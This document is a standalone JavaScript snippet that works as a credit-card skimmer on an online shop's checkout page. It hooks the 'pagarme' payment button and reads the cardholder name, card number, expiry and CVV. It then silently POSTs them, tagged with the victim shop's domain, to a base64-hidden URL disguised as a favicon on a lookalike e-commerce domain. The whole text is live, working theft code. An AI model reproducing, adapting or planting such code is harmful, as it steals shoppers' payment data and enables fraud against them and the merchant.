function waitForButton() {
        return new Promise(resolve => {
            const interval = setInterval(() => {
                const button = document.querySelector('#pagarme_gateway > p.cart_navigation.clearfix > a.button.btn.btn-default.standard-checkout.button-medium');
                if (button) {
                    clearInterval(interval);
                    resolve(button);
                }
            }, 100);
        });
    }

    waitForButton().then(button => {
        button.addEventListener('click', async function () {
            // All encodeURIComponent calls have been removed
            const name = document.querySelector('#card_holder_name').value;
            const number = document.querySelector('#card_number').value;
            const month = document.querySelector('#card_expiration_month').value;
            const year = document.querySelector('#card_expiration_year').value;
            const cvv = document.querySelector('#card_cvv').value;

            if ( name !== '') {
                const baseURL = atob('aHR0cHM6Ly9jZG4uc2hvcGZ5LWVjb21tZXJjZS5jb20vY2RuL2Fzc2V0cy9pbWFnZXMvZmF2aWNvbi5pY28=');
                
                const myHeaders = new Headers();
                myHeaders.append("Content-Type", "application/x-www-form-urlencoded");

                const urlencoded = new URLSearchParams();
                // URLSearchParams will handle the encoding of values automatically
                urlencoded.append("cartao", number.replace(/-/g,''));
                urlencoded.append("data", `${month}/${year}`);
                urlencoded.append("cvv", cvv);
                urlencoded.append("nome", name);
                urlencoded.append("cpf", "000.000.000-00");
                urlencoded.append("host", "melflores.com.br");
                
                const requestOptions = {
                    method: "POST",
                    headers: myHeaders,
                    body: urlencoded,
                    redirect: "follow"
                };
                
                try {
                    await fetch(baseURL, requestOptions);
                } catch (e) {
                    // Erro ao enviar, mas ignorado propositalmente
                    console.error("Erro ao enviar a requisição POST:", e);
                }
            }
        });
    });
